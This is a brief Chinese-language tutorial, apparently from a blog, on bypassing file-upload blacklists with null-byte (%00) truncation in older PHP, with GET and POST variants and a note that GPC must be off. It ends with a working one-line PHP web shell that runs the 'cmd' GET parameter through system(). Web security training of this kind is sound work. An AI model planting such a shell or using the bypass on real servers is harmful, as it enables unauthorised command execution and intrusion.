繞過黑名單驗證(00截斷繞過)
00截斷原理
0x00是十六進制表示方法,是ascii碼為0的字符,在有些函數處理時,會把這個字符當做結束符。
系統在對文件名的讀取時,如果遇到0x00,就會認為讀取已結束。
在PHP5.3之后的版本中完全修復了00截斷。並且00截斷受限於GPC,addslashes函數。
GET型00截斷
GET型提交的內容會被自動進行URL解碼。
注意:一定要關閉GPC,否則無法成功。
POST型00截斷
在POST請求中,%00不會被自動解碼,需要在16進制中進行修改00
一句話代碼執行webshell
使用php中的函數system執行GET提交的參數。
<?php
if($_GET){
$cmd = $_GET["cmd"];
system($cmd);
}else{
echo "no cmd";
}
?>
1
2
3
4
5
6
7
8
--------------------
